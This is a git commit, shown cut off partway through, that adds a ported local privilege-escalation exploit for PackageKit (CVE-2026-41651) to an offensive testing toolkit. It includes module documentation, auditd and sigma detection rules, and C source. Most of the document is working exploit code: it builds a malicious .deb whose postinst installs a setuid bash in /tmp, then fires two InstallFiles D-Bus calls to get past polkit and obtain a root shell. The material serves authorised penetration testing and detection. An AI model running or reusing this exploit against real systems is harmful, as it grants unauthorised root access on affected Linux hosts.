pack2theroot (CVE-2026-41651) + --auto accuracy work

Adds the third ported module — Pack2TheRoot, a userspace PackageKit D-Bus TOCTOU LPE — and spends real effort hardening --auto so its detect step gives an accurate, robust verdict before deploying. pack2theroot (CVE-2026-41651): - Ported from the public Vozec PoC (github.com/Vozec/CVE-2026-41651). Original disclosure by the Deutsche Telekom security team. - Two back-to-back InstallFiles D-Bus calls (SIMULATE then NONE) overwrite the cached transaction flags between polkit auth and dispatch. GLib priority ordering makes the overwrite deterministic, not a timing race; postinst of the malicious .deb drops a SUID bash in /tmp. - detect() reads PackageKit's VersionMajor/Minor/Micro directly over D-Bus and compares against the pinned fix release 1.3.5 (commit 76cfb675). This is a high-confidence verdict, not precondition-only. - Debian-family only (PoC builds its own .deb in pure C; ar/ustar/ gzip-stored inline). Cleanup removes /tmp .debs + best-effort unlinks /tmp/.suid_bash + sudo -n dpkg -r the staging packages. - Adds an optional GLib/GIO build dependency. The top-level Makefile autodetects via `pkg-config gio-2.0`; when absent the module compiles as a stub returning PRECOND_FAIL. - Embedded auditd + sigma rules cover the file-side footprint (/tmp/.suid_bash, /tmp/.pk-*.deb, non-root dpkg/apt execve). --auto accuracy improvements: - Auto-enables --active before the scan. Per-module sentinel probes (page-cache /tmp files, fork-isolated namespace mounts) turn version-only checks into definitive verdicts, so silent distro backports don't fool the scan and --auto won't pick blind on TEST_ERROR. - Per-module verdict printing — every module's result is shown (VULNERABLE / patched / precondition / indeterminate), not just VULNERABLE rows. Operator sees the full picture. - Scan-end summary line: "N vulnerable, M patched/n.a., K precondition-fail, L indeterminate" with a separate callout when modules crashed. - Distro fingerprint added to the auto banner (ID + VERSION_ID from /etc/os-release alongside kernel/arch). - Fork-isolated detect() — each detector runs in a child process so a SIGILL/SIGSEGV in one module's probe is contained and the scan continues. Surfaced live while testing: entrybleed's prefetchnta KASLR sweep SIGILLs on emulated CPUs (linuxkit on darwin); without isolation the whole --auto died at module 7 of 31. With isolation the scan reports "detect() crashed (signal 4) — continuing" and finishes cleanly. module_safety_rank additions: - pack2theroot: 95 (userspace D-Bus TOCTOU; dpkg + /tmp SUID footprint — clean but heavier than pwnkit's gconv-modules-only path). - dirtydecrypt / fragnesia: 86 (page-cache writes; one step below the verified copy_fail/dirty_frag family at 88 to prefer verified modules when both apply). Docs: - README badge / tagline / tier table / ⚪ block / example output / v0.5.0 status — all updated to "28 verified + 3 ported". - CVES.md counts line, the ported-modules note (now calling out pack2theroot's high-confidence detect vs. precondition-only for the page-cache pair), inventory row, operations table row. - ROADMAP Phase 7+: pack2theroot moved out of carry-overs into the "landed (ported, pending VM verification)" group; added a new "--auto accuracy work" subsection documenting the dispatcher hardening landed in this commit. - docs/index.html: scanning-count example bumped to 31, status line updated to mention 3 ported modules. Build verification: full `make clean && make` in `docker gcc:latest` with libglib2.0-dev installed: links into a 31-module skeletonkey ELF (413KB), `--list` shows all modules including pack2theroot, `--detect-rules --format=auditd` emits the new pack2theroot section, `--auto --i-know --no-shell` exercises the new banner + active probes + verdict table + fork isolation + scan summary end-to-end. Only build warning is the pre-existing `-Wunterminated-string-initialization` in dirty_pipe (not introduced here).
2026-05-22 22:42:07 -04:00
parent ac557b67d0
commit 9a4cc91619
13 changed files with 1152 additions and 52 deletions
@@ -0,0 +1,72 @@
+# pack2theroot — CVE-2026-41651
+
+> 🟡 **PRIMITIVE / ported.** Faithful port of the public Vozec PoC.
+> **Not yet validated end-to-end on a vulnerable host** — see
+> _Verification status_.
+
+## Summary
+
+Pack2TheRoot is a userspace LPE in the **PackageKit** daemon
+(`packagekitd`), the cross-distro package-management D-Bus abstraction
+layer shipped on virtually every desktop and most modern server Linux
+distros (Ubuntu, Debian, Fedora, Rocky/RHEL via Cockpit, openSUSE…).
+
+Three cooperating bugs in `src/pk-transaction.c` chain into a TOCTOU
+window between polkit authorisation and dispatch. **The exploit needs
+no GUI session, no special permissions, and no polkit prompt** —
+GLib's D-Bus-vs-idle priority ordering makes it deterministic, not a
+timing race.
+
+```
+1. InstallFiles(SIMULATE, dummy.deb)        ← polkit bypassed; idle queued
+2. InstallFiles(NONE,    payload.deb)        ← cached_flags overwritten
+3. GLib idle fires → pk_transaction_run()    ← reads payload.deb + NONE
+   → dpkg runs postinst as root → SUID bash → root shell
+```
+
+The payload `.deb` is built entirely in C inside the module
+(ar / ustar / gzip-stored, no external `dpkg-deb` dependency).
+
+## Operations
+
+| Op | Behaviour |
+|---|---|
+| `--scan` | Checks Debian/Ubuntu host, system D-Bus accessible, `org.freedesktop.PackageKit` registered, and reads `VersionMajor/Minor/Micro` from the daemon. Returns VULNERABLE only when the version falls in `1.0.2 ≤ V ≤ 1.3.4`. The fix release (1.3.5, commit `76cfb675`, 2026-04-22) is pinned. |
+| `--exploit … --i-know` | Builds the two `.deb`s in `/tmp`, fires the two `InstallFiles` D-Bus calls back-to-back, polls up to 120s for `/tmp/.suid_bash` to appear, then `execv`s it for an interactive root shell. `--no-shell` stops after the SUID bash lands. |
+| `--cleanup` | Removes the staged `.deb` files; best-effort `unlink(/tmp/.suid_bash)` (the file is root-owned — needs root to remove); best-effort `sudo -n dpkg -r` the installed staging packages. |
+| `--detect-rules` | Emits embedded auditd + sigma rules covering the file-side footprint (the D-Bus call itself isn't auditable without bus monitoring). |
+
+## Preconditions
+
+- Linux + Debian/Ubuntu (the PoC's built-in `.deb` builder is
+  Debian-family only; RHEL/Fedora ports would need an `.rpm` builder).
+- PackageKit daemon registered on the system bus.
+- PackageKit version in `[1.0.2, 1.3.4]`.
+- Module built with `libglib2.0-dev` available (the top-level Makefile
+  autodetects `gio-2.0` via `pkg-config`; the module compiles as a
+  stub returning `PRECOND_FAIL` when GLib is absent).
+
+## Side-effect notes
+
+The exploit installs a malicious `.deb` (registered in dpkg's database
+as `skeletonkey-p2tr-payload`) and drops `/tmp/.suid_bash`. Both are
+intentionally visible — this is an authorised-testing tool, not a
+covert toolkit. Run `--cleanup` (preferably as root) before leaving
+the host.
+
+## Verification status
+
+This module is a **faithful port** of
+<https://github.com/Vozec/CVE-2026-41651> into the SKELETONKEY module
+interface. It has **not** been validated end-to-end against a known-
+vulnerable PackageKit host inside the SKELETONKEY CI matrix.
+
+Unlike the page-cache modules, `detect()` here is high-confidence:
+the fix release is officially pinned and the version is read directly
+from the daemon over D-Bus, so a `VULNERABLE` verdict is grounded in
+upstream's own version metadata rather than a heuristic.
+
+**Before promoting to 🟢:** validate the trigger end-to-end on a
+Debian/Ubuntu host with PackageKit ≤ 1.3.4 (the Vozec repo ships a
+Dockerfile that builds PackageKit 1.3.4 from source — that is the
+recommended bench).
@@ -0,0 +1,53 @@
+# NOTICE — pack2theroot
+
+## Vulnerability
+
+**CVE-2026-41651** — Pack2TheRoot. PackageKit TOCTOU local privilege
+escalation in `src/pk-transaction.c`: two cooperating bugs allow
+`cached_transaction_flags` and `cached_full_paths` to be overwritten
+between polkit authorisation and dispatch, and a third bug causes the
+dispatcher to read those cached values at fire time rather than at
+authorisation time. GLib's D-Bus-vs-idle priority ordering makes the
+overwrite deterministic, not a timing race.
+
+CVSS 8.1. Affects PackageKit `1.0.2` through `1.3.4` (over a decade
+of releases). Fixed in **PackageKit 1.3.5** (upstream commit
+`76cfb675`, 2026-04-22).
+
+## Research credit
+
+Discovered and disclosed by the **Deutsche Telekom security team**.
+
+> Telekom advisory: <https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html>
+> Upstream advisory: <https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv>
+
+The standalone proof-of-concept exploit the SKELETONKEY module is
+ported from is by **Vozec**:
+
+> Reference PoC: <https://github.com/Vozec/CVE-2026-41651>
+
+The Vozec repository carries no `LICENSE` file at the time of porting;
+the SKELETONKEY-distributed `skeletonkey_modules.c` is original
+SKELETONKEY-licensed code (MIT) that reproduces the PoC's deb-builder
+(ar / ustar / gzip-stored) and D-Bus call sequence. Independent
+research credit belongs to the people above.
+
+A CTF-style lab by **dinosn** (Dockerised PackageKit 1.3.4 build with
+the exploit pre-set) is a useful reference bench:
+
+> CTF lab: <https://github.com/dinosn/pack2theroot-lab>
+
+## SKELETONKEY role
+
+`skeletonkey_modules.c` wraps the PoC in the standard
+`skeletonkey_module` detect / exploit / cleanup interface, adds the
+embedded auditd + sigma rules, and reads PackageKit's
+`VersionMajor/Minor/Micro` D-Bus properties so `detect()` can give a
+high-confidence verdict (the fix release 1.3.5 is officially pinned —
+no version-fabrication caveat).
+
+## Verification status
+
+**Ported, not yet validated end-to-end on a vulnerable host.** See
+`MODULE.md` for the recommended verification path (Vozec's Dockerised
+PackageKit-1.3.4 bench).
@@ -0,0 +1,28 @@
+# Pack2TheRoot (CVE-2026-41651) — auditd detection rules
+#
+# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls
+# install a malicious .deb as root, whose postinst drops a SUID bash
+# in /tmp. The D-Bus traffic itself is not auditable without bus
+# monitoring (dbus-monitor / dbus-broker logs), so these rules cover
+# the file-side footprint.
+#
+# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
+#   skeletonkey --detect-rules --format=auditd | sudo tee \
+#     /etc/audit/rules.d/99-skeletonkey.rules
+
+# The exact SUID payload path the published PoC lands
+-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot
+
+# Any setuid bit set on /tmp/.suid_bash by anyone
+-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \
+    -F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid
+
+# The PoC drops two .deb files in /tmp immediately before the install
+-a always,exit -F arch=b64 -S openat,creat \
+    -F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb
+
+# packagekitd-driven dpkg/apt activity initiated by a non-root caller
+-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \
+    -F auid!=0 -k skeletonkey-pack2theroot-dpkg
+-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \
+    -F auid!=0 -k skeletonkey-pack2theroot-apt
@@ -0,0 +1,32 @@
+title: Possible Pack2TheRoot exploitation (CVE-2026-41651)
+id: 3f2b8d54-skeletonkey-pack2theroot
+status: experimental
+description: |
+  Detects the file-side footprint of Pack2TheRoot (CVE-2026-41651): a
+  non-root user triggers PackageKit InstallFiles, dpkg runs a postinst
+  that drops /tmp/.suid_bash (a setuid bash), and a privileged shell
+  follows. The trigger itself is two back-to-back D-Bus calls with no
+  polkit prompt — only visible via dbus-monitor or the file side
+  effects flagged below.
+references:
+  - https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html
+  - https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv
+  - https://github.com/Vozec/CVE-2026-41651
+logsource:
+  product: linux
+  service: auditd
+detection:
+  suid_drop:
+    type: 'PATH'
+    name|startswith:
+      - '/tmp/.suid_bash'
+      - '/tmp/.pk-payload-'
+      - '/tmp/.pk-dummy-'
+  not_root:
+    auid|expression: '!= 0'
+  condition: suid_drop and not_root
+level: high
+tags:
+  - attack.privilege_escalation
+  - attack.t1068
+  - cve.2026.41651
@@ -0,0 +1,696 @@
+/*
+ * pack2theroot_cve_2026_41651 — SKELETONKEY module
+ *
+ * Pack2TheRoot (CVE-2026-41651) — PackageKit TOCTOU LPE.
+ *
+ * Three cooperating bugs in PackageKit's `src/pk-transaction.c`:
+ *   BUG 1  InstallFiles() stores cached_transaction_flags and
+ *          cached_full_paths unconditionally, with no state guard.
+ *   BUG 2  pk_transaction_set_state() silently rejects backward
+ *          transitions (READY → WAITING_FOR_AUTH).
+ *   BUG 3  pk_transaction_run() reads the cached flags at dispatch
+ *          time, not at authorisation time.
+ *   BYPASS The SIMULATE flag skips polkit entirely.
+ *
+ * Two back-to-back async D-Bus InstallFiles() calls — first with
+ * SIMULATE (bypasses polkit, queues a GLib idle callback), then
+ * immediately with NONE + the malicious .deb (overwrites the cached
+ * flags/paths before the idle fires). GLib priority ordering makes
+ * this deterministic, not a timing race. postinst of the malicious
+ * .deb installs a SUID bash at /tmp/.suid_bash → root shell.
+ *
+ * This module is a faithful port of the public PoC by Vozec
+ * (github.com/Vozec/CVE-2026-41651); the deb-builder helpers
+ * (CRC-32, gzip-stored, tar entry, ar entry, build_deb) and the
+ * D-Bus call sequence are reproduced from that PoC. The original
+ * disclosure was by the Deutsche Telekom security team. See
+ * NOTICE.md.
+ *
+ * Build adaptation: the module requires GLib/GIO for D-Bus. The
+ * top-level Makefile autodetects gio-2.0 via pkg-config and defines
+ * PACK2TR_HAVE_GIO when present. When absent, the module compiles as
+ * a stub that returns PRECOND_FAIL with a build-time hint.
+ *
+ * Port adaptations vs. the standalone PoC:
+ *   - wrapped in the skeletonkey_module detect/exploit/cleanup interface
+ *   - exploit() runs the PoC body in a forked child so the PoC's
+ *     die()/exit() paths cannot tear down the skeletonkey dispatcher
+ *   - detect() does a passive precondition + version check (vulnerable
+ *     range 1.0.2 ≤ V ≤ 1.3.4, fixed in 1.3.5) — no version-only
+ *     fabrication; the fix release is officially pinned
+ *   - honours ctx->no_shell (build + fire the TOCTOU, do not spawn
+ *     the SUID bash shell)
+ *   - cleanup() removes the two /tmp .debs and best-effort-unlinks
+ *     /tmp/.suid_bash (which requires root since it is owned by root)
+ *
+ * VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
+ * vulnerable PackageKit (1.3.4 or earlier) host. The fix release
+ * (1.3.5, commit 76cfb675, 2026-04-22) IS pinned.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include <unistd.h>
+
+#if defined(__linux__) && defined(PACK2TR_HAVE_GIO)
+
+/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
+ * Makefile; do not redefine here. */
+#include <stdint.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sys/file.h>
+#include <sys/wait.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <time.h>
+#include <glib.h>
+#include <gio/gio.h>
+
+/* ── config ────────────────────────────────────────────────────────── */
+#define SUID_PATH     "/tmp/.suid_bash"
+#define PK_BUS        "org.freedesktop.PackageKit"
+#define PK_OBJ        "/org/freedesktop/PackageKit"
+#define PK_IFACE      "org.freedesktop.PackageKit"
+#define PK_TX_IFACE   "org.freedesktop.PackageKit.Transaction"
+#define FLAG_NONE     ((guint64)0)
+#define FLAG_SIMULATE ((guint64)(1u << 2))   /* SIMULATE bypasses polkit */
+
+/* Vulnerable range: PackageKit 1.0.2 ≤ V ≤ 1.3.4. Fixed in 1.3.5. */
+#define P2TR_VER(M,m,p) ((M)*10000 + (m)*100 + (p))
+#define P2TR_VER_LO     P2TR_VER(1,0,2)
+#define P2TR_VER_HI     P2TR_VER(1,3,4)
+
+static int p2tr_verbose = 1;
+#define LOG(fmt, ...) do { if (p2tr_verbose) \
+	fprintf(stderr, "[*] pack2theroot: " fmt "\n", ##__VA_ARGS__); } while (0)
+#define ERR(fmt, ...) fprintf(stderr, "[-] pack2theroot: " fmt "\n", ##__VA_ARGS__)
+
+/* ── CRC-32 (ISO 3309) — verbatim from V12 PoC ─────────────────────── */
+static uint32_t crc_tab[256];
+static void crc_init(void)
+{
+	for (unsigned i = 0; i < 256; i++) {
+		uint32_t c = i;
+		for (int j = 0; j < 8; j++) c = (c&1) ? (0xedb88320u ^ (c>>1)) : (c>>1);
+		crc_tab[i] = c;
+	}
+}
+static uint32_t crc32_iso(const void *src, size_t n)
+{
+	const uint8_t *p = src; uint32_t c = 0xffffffffu;
+	while (n--) c = crc_tab[(c ^ *p++) & 0xff] ^ (c >> 8);
+	return c ^ 0xffffffffu;
+}
+
+/* ── gzip stored deflate block (max 65535 B) ───────────────────────── */
+static size_t gzip_store(const void *src, size_t len, uint8_t *dst)
+{
+	if (len > 0xffff) return 0;
+	uint8_t *p = dst;
+	*p++ = 0x1f; *p++ = 0x8b; *p++ = 0x08; *p++ = 0x00;
+	p[0]=p[1]=p[2]=p[3]=0; p+=4; *p++ = 0x00; *p++ = 0xff;
+	uint16_t ln = len, nln = ~ln;
+	*p++ = 0x01; memcpy(p, &ln, 2); p += 2; memcpy(p, &nln, 2); p += 2;
+	memcpy(p, src, len); p += len;
+	uint32_t c = crc32_iso(src, len), s = (uint32_t)len;
+	memcpy(p, &c, 4); p += 4; memcpy(p, &s, 4); p += 4;
+	return p - dst;
+}
+
+/* ── ustar tar entry ───────────────────────────────────────────────── */
+static size_t tar_entry(uint8_t *buf, const char *name, const void *data,
+			size_t dlen, mode_t mode, char type)
+{
+	memset(buf, 0, 512);
+	snprintf((char *)buf,     100, "%s", name);
+	snprintf((char *)buf+100,   8, "%07o", (unsigned)mode);
+	snprintf((char *)buf+108,   8, "%07o", 0u);
+	snprintf((char *)buf+116,   8, "%07o", 0u);
+	snprintf((char *)buf+124,  12, "%011o", (unsigned)dlen);
+	snprintf((char *)buf+136,  12, "%011o", (unsigned)time(NULL));
+	memset(buf+148, ' ', 8);
+	buf[156] = type;
+	memcpy(buf+257, "ustar", 5); memcpy(buf+263, "00", 2);
+	unsigned sum = 0; for (int i = 0; i < 512; i++) sum += buf[i];
+	snprintf((char *)buf+148, 8, "%06o", sum);
+	buf[154] = '\0'; buf[155] = ' ';
+	size_t pad = dlen ? ((dlen + 511) / 512) * 512 : 0;
+	if (dlen && data) memcpy(buf + 512, data, dlen);
+	if (pad > dlen)   memset(buf + 512 + dlen, 0, pad - dlen);
+	return 512 + pad;
+}
+
+/* ── ar member ─────────────────────────────────────────────────────── */
+static void ar_entry(FILE *f, const char *name, const void *data, size_t sz)
+{
+	char h[61]; memset(h, ' ', 60); h[60] = 0;
+	char t[17]; snprintf(t, 17, "%-16s", name); memcpy(h, t, 16);
+	snprintf(t, 13, "%-12lu", (unsigned long)time(NULL)); memcpy(h+16, t, 12);
+	memcpy(h+28, "0     ", 6); memcpy(h+34, "0     ", 6);
+	memcpy(h+40, "100644  ", 8);
+	snprintf(t, 11, "%-10zu", sz); memcpy(h+48, t, 10);
+	h[58] = '`'; h[59] = '\n';
+	fwrite(h, 1, 60, f); fwrite(data, 1, sz, f);
+	if (sz % 2) fputc('\n', f);
+}
+
+/* Assemble a minimal .deb (faithful to the V12 PoC build_deb). */
+static int build_deb(const char *dest, const char *pkg, const char *postinst)
+{
+	static uint8_t tarbuf[65536], gzbuf[65536+256];
+	memset(tarbuf, 0, sizeof tarbuf);
+	crc_init();
+	size_t off = 0;
+
+	char ctrl[512];
+	snprintf(ctrl, sizeof ctrl,
+		 "Package: %s\nVersion: 1.0\nArchitecture: all\n"
+		 "Maintainer: SKELETONKEY\nDescription: Pack2TheRoot PoC\n", pkg);
+
+	off += tar_entry(tarbuf+off, "./",        NULL,  0,             0755, '5');
+	off += tar_entry(tarbuf+off, "./control", ctrl,  strlen(ctrl),  0644, '0');
+	if (postinst)
+		off += tar_entry(tarbuf+off, "./postinst", postinst,
+				 strlen(postinst), 0755, '0');
+	off += 1024;  /* end-of-archive: two 512-byte zero blocks */
+
+	size_t ctrl_gz_len = gzip_store(tarbuf, off, gzbuf);
+	if (!ctrl_gz_len) return -1;
+
+	static uint8_t empty_tar[1024], data_gz[256];
+	memset(empty_tar, 0, sizeof empty_tar);
+	size_t data_gz_len = gzip_store(empty_tar, sizeof empty_tar, data_gz);
+
+	FILE *f = fopen(dest, "wb");
+	if (!f) return -1;
+	fwrite("!<arch>\n", 1, 8, f);
+	ar_entry(f, "debian-binary",   "2.0\n", 4);
+	ar_entry(f, "control.tar.gz",  gzbuf,   ctrl_gz_len);
+	ar_entry(f, "data.tar.gz",     data_gz, data_gz_len);
+	fclose(f);
+	return 0;
+}
+
+/* ── D-Bus helpers ─────────────────────────────────────────────────── */
+
+typedef struct { GMainLoop *loop; guint32 exit_code; gboolean done; } P2trCtx;
+
+static void cb_finished(GDBusConnection *c G_GNUC_UNUSED,
+	const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
+	const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
+	GVariant *p, gpointer u)
+{
+	P2trCtx *ctx = u; guint32 ec, rt;
+	g_variant_get(p, "(uu)", &ec, &rt);
+	LOG("transaction finished (exit=%u, %u ms)", ec, rt);
+	ctx->exit_code = ec; ctx->done = TRUE;
+	g_main_loop_quit(ctx->loop);
+}
+
+static void cb_error(GDBusConnection *c G_GNUC_UNUSED,
+	const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
+	const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
+	GVariant *p, gpointer u G_GNUC_UNUSED)
+{
+	guint32 code; const gchar *det;
+	g_variant_get(p, "(u&s)", &code, &det);
+	LOG("PK error %u: %s", code, det);
+}
+
+static gboolean cb_timeout(gpointer u)
+{
+	ERR("transaction loop timed out");
+	g_main_loop_quit(u);
+	return G_SOURCE_REMOVE;
+}
+
+static char *pk_create_tx(GDBusConnection *conn)
+{
+	GError *e = NULL;
+	GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ, PK_IFACE,
+		"CreateTransaction", NULL, G_VARIANT_TYPE("(o)"),
+		G_DBUS_CALL_FLAGS_NONE, -1, NULL, &e);
+	if (!r) {
+		ERR("CreateTransaction: %s", e ? e->message : "?");
+		if (e) g_error_free(e);
+		return NULL;
+	}
+	const gchar *tid; g_variant_get(r, "(&o)", &tid);
+	char *copy = g_strdup(tid); g_variant_unref(r);
+	return copy;
+}
+
+/* Fire-and-forget: both messages must land in the server's socket
+ * buffer before the GLib idle from Step 1 fires. Faithful to the PoC. */
+static void pk_install_files_async(GDBusConnection *conn, const char *tid,
+				   guint64 flags, const char *path)
+{
+	const char *paths[] = { path, NULL };
+	g_dbus_connection_call(conn, PK_BUS, tid, PK_TX_IFACE,
+		"InstallFiles", g_variant_new("(t^as)", flags, paths),
+		NULL, G_DBUS_CALL_FLAGS_NONE, -1, NULL, NULL, NULL);
+}
+
+static bool dbus_name_has_owner(GDBusConnection *conn, const char *name)
+{
+	GError *e = NULL;
+	GVariant *r = g_dbus_connection_call_sync(conn, "org.freedesktop.DBus",
+		"/org/freedesktop/DBus", "org.freedesktop.DBus", "NameHasOwner",
+		g_variant_new("(s)", name), G_VARIANT_TYPE("(b)"),
+		G_DBUS_CALL_FLAGS_NONE, 2000, NULL, &e);
+	if (!r) { if (e) g_error_free(e); return false; }
+	gboolean has; g_variant_get(r, "(b)", &has);
+	g_variant_unref(r);
+	return (bool)has;
+}
+
+/* Read PackageKit's VersionMajor/Minor/Micro D-Bus properties. */
+static bool pk_query_version(GDBusConnection *conn, int *maj, int *min, int *mic)
+{
+	static const char *names[] = { "VersionMajor", "VersionMinor", "VersionMicro" };
+	int *out[3] = { maj, min, mic };
+	for (int i = 0; i < 3; i++) {
+		GError *e = NULL;
+		GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ,
+			"org.freedesktop.DBus.Properties", "Get",
+			g_variant_new("(ss)", PK_IFACE, names[i]),
+			G_VARIANT_TYPE("(v)"), G_DBUS_CALL_FLAGS_NONE,
+			2000, NULL, &e);
+		if (!r) { if (e) g_error_free(e); return false; }
+		GVariant *vinner = NULL;
+		g_variant_get(r, "(v)", &vinner);
+		if (!vinner) { g_variant_unref(r); return false; }
+		if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_UINT32))
+			*out[i] = (int)g_variant_get_uint32(vinner);
+		else if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_INT32))
+			*out[i] = (int)g_variant_get_int32(vinner);
+		else {
+			g_variant_unref(vinner); g_variant_unref(r); return false;
+		}
+		g_variant_unref(vinner); g_variant_unref(r);
+	}
+	return true;
+}
+
+/* ── detect ────────────────────────────────────────────────────────── */
+
+static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
+{
+	p2tr_verbose = !ctx->json;
+
+	if (geteuid() == 0) {
+		if (!ctx->json)
+			fprintf(stderr, "[i] pack2theroot: already root — nothing to do\n");
+		return SKELETONKEY_OK;
+	}
+
+	if (access("/etc/debian_version", F_OK) != 0) {
+		if (!ctx->json)
+			fprintf(stderr, "[i] pack2theroot: not a Debian/Ubuntu host "
+				"(PoC's .deb builder is Debian-family-only)\n");
+		return SKELETONKEY_PRECOND_FAIL;
+	}
+
+	GError *e = NULL;
+	GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &e);
+	if (!conn) {
+		if (!ctx->json)
+			fprintf(stderr, "[i] pack2theroot: system D-Bus unavailable: %s\n",
+				e ? e->message : "(unknown)");
+		if (e) g_error_free(e);
+		return SKELETONKEY_PRECOND_FAIL;
+	}
+
+	if (!dbus_name_has_owner(conn, PK_BUS)) {
+		if (!ctx->json)
+			fprintf(stderr, "[i] pack2theroot: PackageKit daemon not "
+				"registered on the system bus\n");
+		g_object_unref(conn);
+		return SKELETONKEY_PRECOND_FAIL;
+	}
+
+	int maj = 0, min = 0, mic = 0;
+	bool got_version = pk_query_version(conn, &maj, &min, &mic);
+	g_object_unref(conn);
+
+	if (!got_version) {
+		if (!ctx->json)
+			fprintf(stderr, "[?] pack2theroot: PackageKit running but "
+				"VersionMajor/Minor/Micro unreadable — patch-level "
+				"unknown\n");
+		return SKELETONKEY_TEST_ERROR;
+	}
+
+	int v = P2TR_VER(maj, min, mic);
+	if (!ctx->json)
+		fprintf(stderr, "[*] pack2theroot: PackageKit %d.%d.%d on the bus\n",
+			maj, min, mic);
+
+	if (v < P2TR_VER_LO) {
+		if (!ctx->json)
+			fprintf(stderr, "[+] pack2theroot: %d.%d.%d predates the bug "
+				"(introduced in 1.0.2)\n", maj, min, mic);
+		return SKELETONKEY_OK;
+	}
+	if (v > P2TR_VER_HI) {
+		if (!ctx->json)
+			fprintf(stderr, "[+] pack2theroot: %d.%d.%d is patched "
+				"(fixed in 1.3.5, commit 76cfb675)\n", maj, min, mic);
+		return SKELETONKEY_OK;
+	}
+	if (!ctx->json)
+		fprintf(stderr, "[!] pack2theroot: PackageKit %d.%d.%d is "
+			"VULNERABLE (range 1.0.2 ≤ V ≤ 1.3.4)\n", maj, min, mic);
+	return SKELETONKEY_VULNERABLE;
+}
+
+/* ── exploit child (faithful port of the PoC main() body) ──────────── */
+
+static int p2tr_child_run(int no_shell)
+{
+	char dummy[64], payload[64], postinst[160];
+	snprintf(dummy,    sizeof dummy,    "/tmp/.pk-dummy-%d.deb",    getpid());
+	snprintf(payload,  sizeof payload,  "/tmp/.pk-payload-%d.deb",  getpid());
+	snprintf(postinst, sizeof postinst,
+		 "#!/bin/sh\ninstall -m 4755 /bin/bash %s\n", SUID_PATH);
+
+	LOG("building .deb packages (pure C; ar/tar/gzip inline)");
+	if (build_deb(dummy,   "skeletonkey-p2tr-dummy",   NULL) < 0) {
+		ERR("dummy .deb build failed");
+		return 2;
+	}
+	if (build_deb(payload, "skeletonkey-p2tr-payload", postinst) < 0) {
+		ERR("payload .deb build failed"); unlink(dummy);
+		return 2;
+	}
+	if (access(dummy, F_OK) != 0 || access(payload, F_OK) != 0) {
+		ERR("built .deb files are missing"); return 2;
+	}
+	LOG("dummy   : %s", dummy);
+	LOG("payload : %s", payload);
+
+	GError *err = NULL;
+	GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &err);
+	if (!conn) {
+		ERR("system D-Bus: %s", err ? err->message : "?");
+		if (err) g_error_free(err);
+		unlink(dummy); unlink(payload);
+		return 4;
+	}
+
+	char *tid = pk_create_tx(conn);
+	if (!tid) { g_object_unref(conn); unlink(dummy); unlink(payload); return 2; }
+	LOG("transaction : %s", tid);
+
+	P2trCtx pkctx = { .loop = g_main_loop_new(NULL, FALSE), .done = FALSE };
+	guint sf = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
+		"Finished",  tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_finished, &pkctx, NULL);
+	guint se = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
+		"ErrorCode", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_error,    NULL,   NULL);
+
+	/* ── EXPLOIT ───────────────────────────────────────────────────── */
+	LOG("step 1: InstallFiles(SIMULATE=0x%llx, dummy) [async]",
+	    (unsigned long long)FLAG_SIMULATE);
+	pk_install_files_async(conn, tid, FLAG_SIMULATE, dummy);
+
+	LOG("step 2: InstallFiles(NONE=0x%llx, payload) [async]",
+	    (unsigned long long)FLAG_NONE);
+	pk_install_files_async(conn, tid, FLAG_NONE, payload);
+
+	/* Flush so both messages land in the server's socket buffer before
+	 * its main loop runs the GLib idle from step 1. */
+	{
+		GError *fe = NULL;
+		if (!g_dbus_connection_flush_sync(conn, NULL, &fe)) {
+			ERR("D-Bus flush: %s", fe ? fe->message : "?");
+			g_clear_error(&fe);
+		}
+	}
+
+	LOG("awaiting dispatch (30s max)");
+	g_timeout_add_seconds(30, cb_timeout, pkctx.loop);
+	g_main_loop_run(pkctx.loop);
+
+	g_dbus_connection_signal_unsubscribe(conn, sf);
+	g_dbus_connection_signal_unsubscribe(conn, se);
+	g_free(tid);
+	g_object_unref(conn);
+
+	/* Record /tmp paths for cleanup() even if the SUID never lands. */
+	int sf2 = open("/tmp/skeletonkey-pack2theroot.state",
+		       O_WRONLY | O_CREAT | O_TRUNC, 0600);
+	if (sf2 >= 0) {
+		dprintf(sf2, "%s\n%s\n", dummy, payload);
+		close(sf2);
+	}
+
+	/* Poll up to 120s for the SUID bash; the APT backend may keep
+	 * running after polkit fires. Faithful to the PoC's polling loop. */
+	LOG("polling for SUID payload at %s (120s max)", SUID_PATH);
+	struct stat st;
